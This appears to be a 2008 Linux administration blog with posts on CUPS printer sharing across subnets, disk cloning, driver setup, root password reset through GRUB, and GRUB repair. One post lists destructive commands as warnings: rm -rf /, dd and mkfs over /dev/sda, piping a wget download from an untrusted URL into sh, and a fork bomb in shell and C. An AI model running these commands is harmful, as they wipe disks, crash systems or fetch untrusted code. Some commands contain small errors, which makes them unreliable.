Thursday, November 27, 2008

Sharing Linux Printers Across Multiple Subnets

Sharing Linux Printers Across Multiple Subnets

1)Configuring CUPS For Two Subnets



All you need to make this work are a central Linux/CUPS printer server, and one Linux PC per subnet to act as a relay printer server.

Let's say you have two subnets, 192.168.1.0/24 and 192.168.2.0/24. You need to have routing already configured to pass traffic between the two subnets, so everyone can ping everyone. Let's say you have your CUPS printer server at 192.168.1.10, and you want computers on 192.168.2.0/24 to be able to use it. This is a complete, barebones example CUPS configuration for 192.168.1.10:

##/etc/cups/cupsd.conf
LogLevel warning

#this varies; check your distribution
SystemGroup lpadmin

# Allow remote users to access this server
Port 631
Listen /var/run/cups/cups.sock

# Enable printer sharing
Browsing On
BrowseAllow all
BrowseAddress 192.168.1.255
BrowseAddress 192.168.2.255
DefaultAuthType Basic


# Allow shared printing
Order allow,deny
Allow 192.168.1.0/24
Allow 192.168.2.0/24



# Only local users can access Web admin pages
Order allow,deny
Allow localhost



# Only local system users can access config files
AuthType Basic
Require user @SYSTEM
Order allow,deny
Allow localhost

You may use hostnames in place of IP addresses. Then restart CUPS, either /etc/init.d/cupsys restart on Debian-ish systems, or /etc/init.d/cup restart on Fedora/Red Hat-ish systems.

Setting Up the Relay PC

Pick one computer in the 192.168.2.0/24 network to act as your "relay" server; it will contact the printer server and then relay its printers to the rest of the 192.168.2.0/24 subnet. Just add these lines to cupsd.conf:

BrowsePoll 192.168.1.10
BrowseRelay 127.0.0.1 192.168.2.255



# Allow shared printing
Order allow,deny
Allow 192.168.2.0/24

Restart CUPS, and in half a minute or so all the computers on 192.168.2.0/24 should see all the printers that are physically attached to the server at 192.168.1.10. What if you have more than one printer server to share? Then add a line for each server like this:

BrowsePoll 192.168.1.10
BrowsePoll 192.168.1.15
BrowsePoll 192.168.1.20
BrowseRelay 127.0.0.1 192.168.2.255

This is nice and efficient because all you need is one PC per subnet to act as the relay.

You can easily test all of this from the comfort of your secret armored underground network administrator lair, because of course you have OpenSSH set up all over your network so that you can securely log in to all hosts and do stuff. First log into your relay computer, then use lpstat to see what printers are available:

$ lpstat -v
device for HP_LaserJet_3050: ipp://uberpc.alrac.net:631/printers/HP_LaserJet_3050
device for HP_LaserJet_6L_LPT_parport0_HPLIP: ipp://xena.alrac.net:631/
printers/HP_LaserJet_6L_LPT_parport0_HPLIP
device for tp0: ipp://uberpc.alrac.net:631/printers/tp0
Now that is a happy sight; you can see printers from two different printer servers. You can see if they are ready to use:
$ lpstat -a HP_LaserJet_3050
HP_LaserJet_3050 accepting requests since Tue 18 Dec 2007 07:07:39 PM PST

You can even print a test page remotely:

$ lpr -P HP_LaserJet_3050 /etc/cups/cupsd.conf

CUPS relies on polling to notify the entire network about what printers are up. By default each CUPS server send out an 80-byte broadcast packet every thirty seconds. If this gets to be too much, or if your printer setup doesn't change very often, you can change this behavior:

BrowseInterval  360
BrowseTimeout 600
This polls the network every six minutes, and if any CUPS server does not respond within ten minutes it is removed from the browse list.

If you want to also serve Windows clients, simply set up a Samba printer share in the usual way, and use Samba's own access controls to cross subnets.

So there you are- as easy as falling over and a lot more fun

Sunday, November 23, 2008

Never Run these commands....on Linux...

#rm -rf /
#any_command > /dev/sda
#mkfs.ext3 /dev/sda
#mv /home/my_home_directory/* /dev/null
#dd if=/dev/urandom of=/dev/sda
Even Linux has so-called rootkits, malware that takes control of root and transforms the PC into an unwilling zombie. All you need is some_untrusted_source on the Web and use wget on it:
#wget http://some_untrusted_source -O- | sh
The command certainly invites trouble from the untrusted URL in the way of possible rootkits with malicious code.

ForkBomb:the processes recursively fork until a denial of service or a crash occurs
#:(){ :|:& };:

similar in c...
#include 

int main(int argc, char* argv[])
{
while(1)
fork();
return 0;
}

Thursday, November 13, 2008

CDROM is not getting ejected in Linux

open /etc/sysctl.conf file and edit dev.cdrom.lock parameter value to 0 as follow
dev.cdrom.lock=0

Clone your BOSS installation onto a new hard disk

Requirement:
BOSS Live CD,
Two Harddisks

Preparing to clone

Before starting, it's a good idea to do three things in preparation. First, back up all valuable personal files to CD/DVD-R/RW disc, a USB keystick, or an external hard disk. The instructions that follow involve drastic fundamental disk management and the possibility of data loss.

Second, it's a good idea to check the filesystem of the original hard disk for errors and possibly enact repairs. Ideally, you should check the Windows filesystem for errors too.

Third, remove any USB memory sticks, card readers, or other kinds of attachable storage, such as MP3 players or mobile phones. This will avoid confusion when partitioning.

After all this, open a terminal window, and type the command sudo fdisk -l, which will scan the hard disks and list their partitions. Here are the results from my test system:


Disk /dev/sda: 81.9 GB, 81964302336 bytes
255 heads, 63 sectors/track, 9964 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Disk identifier: 0x1c381c37

Device Boot Start End Blocks Id System
/dev/sda1 * 1 4742 38090083+ 7 HPFS/NTFS
/dev/sda2 4743 9964 41945715 5 Extended
/dev/sda5 4743 9744 40178533+ 83 Linux
/dev/sda6 9745 9964 1767118+ 82 Linux swap/Solaris

Disk /dev/sdb: 120.0 GB, 120034123776 bytes
255 heads, 63 sectors/track, 14593 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Disk identifier: 0xb94838a4

Disk /dev/sdb doesn't contain a valid partition table

Two hard disks are listed in the results: look for the headings Disk /dev/sda and Disk /dev/sdb. Beneath each heading is technical information about the disk, and beneath that the partitions on that disk are listed.

It should be obvious that, on my test computer, /dev/sdb is the new hard disk because it has no partitions (it "doesn't contain a valid partition table"), while /dev/sda has the standard partition layout of an BOSS system. Yours will probably be similar, if not identical.

Look for the reference to your new hard disk and make a note of it. In my case, I make a note of /dev/sdb. Then type sudo cfdisk -z /dev/sdb to start the cfdisk partitioning program, which we'll use to write an initial partition table to the disk. If necessary, replace /dev/sdb with the details of the new hard disk you discovered earlier. When cfdisk starts, type W (note that's Shift+w) and then type yes to write a blank partition table. Then press q to quit cfdisk. You can ignore the handful of minor errors that are reported.

Cloning the disk

Now that we have this information, we can install ddrescue and use it to clone the disk. This needs to be installed because it isn't a default system tool. Although the computer is running the BOSS install CD live distro mode,

After this, type sudo apt-get install gddrescue at the prompt to install ddrescue.

Use ddrescue by first specifying the old hard disk, then the new hard disk. Add the -v command option to provide a status report as the command progresses:


$ sudo ddrescue -v /dev/sda /dev/sdb

It's extremely important that you ensure you get the old and new disks in the right order. Otherwise, you might well overwrite the data on your old disk!

Once the cloning has finished -- it will probably take an hour or more, depending on the size of the original hard disk -- you should shut down the computer, remove the old disk (you must disconnect the old disk before you can continue!), and boot from the cloned copy to test things. If you use Windows XP/Vista, it might object to a new hard disk as part of its Windows Genuine Advantage system, and you might have to revalidate online. Of course, BOSS work fine without any such worries.

Assuming everything works correctly, you can move on to the next step: expanding the partitions to take advantage of the larger hard disk.

Expanding the partitions

Before attempting to expand the partitions, it's a good idea to check that your BOSS partition's filesystem is sound. To do this, boot into the BOSS install CD's live distro mode as before. Open a terminal window and type the command sudo fsck.ext3 -f /dev/sda5 to perform a disk check (assuming that BOSS is installed alongside Windows on your hard disk in the standard configuration).

Once this has completed, close the terminal window and click System -> Administration -> Partition Editor. What happens next depends on your requirements. If you just want to expand the BOSS partition, follow these steps:

  1. In the Partition list, right-click the linux-swap entry and select Swap off. This will stop BOSS live distro mode from accessing the swap partition so that it can be moved on the hard disk.
  2. Before anything else can happen, you must resize the extended partition that contains BOSS. Right-click the extended entry in the list and select Resize/Move. In the dialog box that appears, change the Free Space Following (MiB) box to read 0, then press Tab. This will cause the partition to be expanded to fill the space. Click the Resize/Move button when done. Bear in mind that no changes are carried until you click the Apply button, which you will do after making all the changes to the disk's partitions.
  3. Right-click the linux-swap partition once again, and select Resize/Move. In the dialog box that appears, click and drag the graphical representation of the partition to the end of the free space (in other words, click and drag it to the right of the graphical display). After this, the Free Space Following (MiB) box should read 0. Click Resize/Move.
  4. Back in the main GParted program window, right-click the ext3 entry in the list, and select Resize/Move. Click and drag the rightmost edge of the partition in the graphical representation so that it "grows" to fill the free space. Eventually the Free Space Following (MiB) box will read 0. When this is the case, click the Resize/Move button.
  5. Finally, click the Apply button on the main GParted toolbar. Then click Apply in the dialog box that appears, and sit back and wait while the partitions are moved and resized. If you want to see what's happening, click the small arrow alongside Details in the Applying pending operations dialog box.
  6. When GParted has finished, close the program, then open a terminal window. Enter sudo fsck.ext3 -f /dev/sda5, which will once again check the BOSS partition for errors (and, again, these steps assume that BOSS is installed alongside Windows on your hard disk in the standard configuration). If there are any errors, you'll be prompted to repair them. Usually you can agree to the repair.

After the filesystem check, you can reboot your computer from the new hard disk. You should find BOSS partition is now larger.

If you want to resize your Windows partition too, these steps are still relevant. However, you will have to move the swap and ext3 partitions, as well as the extended partition containing them, before resizing the NTFS partition.


Wednesday, November 12, 2008

ATI radeonX300 driver in debian

#apt-get install fglrx-driver


Then modify /etc/X11/XF86Config-4 or /etc/X11/xorg.conf:

   
Section "Device"
Identifier "ATI"
Driver "fglrx"
Option "VideoOverlay" "on"
Option "OpenGLOverlay" "off"
Option "UseInternalAGPGART" "no"
EndSection

...

Section "Screen"
...
SubSection "Display"
Depth 24
Modes "1280x1024"

how to install intel wifi driver in linux

get driver and firmware from intel site http://intellinuxwireless.org/?p=iwlwifi
extract firmware and copy in /lib/firmware/
how to compile driver
extract driver source
make
make install
...

Monday, November 10, 2008

how to open .chm file in linux?

Chm file is a Microsoft Compressed HTML Help file in a proprietary format for online help files. Under Linux/FreeBSD or UNIX you can open .chm file using following three different programs which makes it possible to browse native Windows CHM files:

Install chm viewer

Use apt-get or yum command to install chm viewer:
# apt-get install gnochm
OR
# apt-get install kchmviewer

How to open:

double click the .chm file. or

Gnome Desktop User

Use gnochm program as follows
$ gnochm file.chm

KDE Desktop User

Use kchmviewer (very nice and highly recommended) program as follows
$ kchmviewer file.chm

Other tool

xchm program is quite outdated but works:
$ xchm file.chm


Sunday, November 9, 2008

how to install fonts in linux

Open the File Browser , Applications -> System Tools -> File Browser and type fonts:/// in the text location top.

Once the Fonts are installed, restart the application in which ever you want the font to get affected. Else, logout and login, to see the fonts installed.


Saturday, November 8, 2008

forgot root password

I forgot root password.How can I retrieve it?

Restart your system

When the grub screen appears, where OS label entry is displayed like,RED HAT,Ubuntu,BOSS etc. then select your linux and press 'e' to edit.

Now, another screen appears, where you can see the lines like root(hd0,x) ,kernel ,initrd etc.

  • select kernel parameter line, (2nd line) using arrow keys and press 'e' key again and go to the end of the line and type the following there

init=/bin/sh

  • Now press 'b' key to boot
  • this boots u into the minimal mode
  • after it boots up, you will come to a screen where a prompt like sh#
  • here, Give the following commands

Give the following commands

#mount -n -o remount,rw /

#mount -avt nonfs,noproc,nosmbfs

#passwd
enter new passwd:xxxxxx
Reenter new passwd:xxxxxx


Reboot the system .

Tips for GRUB installation.

Whenever you reinstall Windows with an existing Linux installation already present on the hard drive, the MBR gets an overwrite. You can restore GRUB to the previous settings by booting a Linux Live CD or you can download it from http://bosslinux.in/downloads/downloads/iso-images/ and following the steps below:

1. Insert the Live CD and reboot your computer;

2. After reaching the desktop, open up a Terminal and do a su - to access the root account. In BOSS default root password is root.In Ubuntu you’ll have to previously give a password to the root account with sudo passwd root;

3. Type grub in the root prompt;

#grub

4. The Grub prompt has appeared and you should type find /boot/grub/stage1 in it then hit Enter. You’ll get an output which tells where the grub is available in your system.

grub>find /boot/grub/stage2

(hd0,5)
(hd0,6)
(hd0,7)

5. Type #root(hd0,x) where x is number from last command output then hit Enter;

6. Type #setup(hd0,x) and hit Enter;

7. Type #quit and hit Enter;

8. Reboot the system and remove the Live CD from the tray.


another way to do same grub installation.

#grub-install --recheck --no-floppy --root-directory=DIR device_name

grub-install copies GRUB images into the DIR/boot directory specfied by
--root-directory.

--recheck
probe a device map even if it already exists

--recheck
probe a device map even if it already exists

example

#grub-install --no-floppy --recheck root-directory=/mnt/disk[sda6] /dev/sda6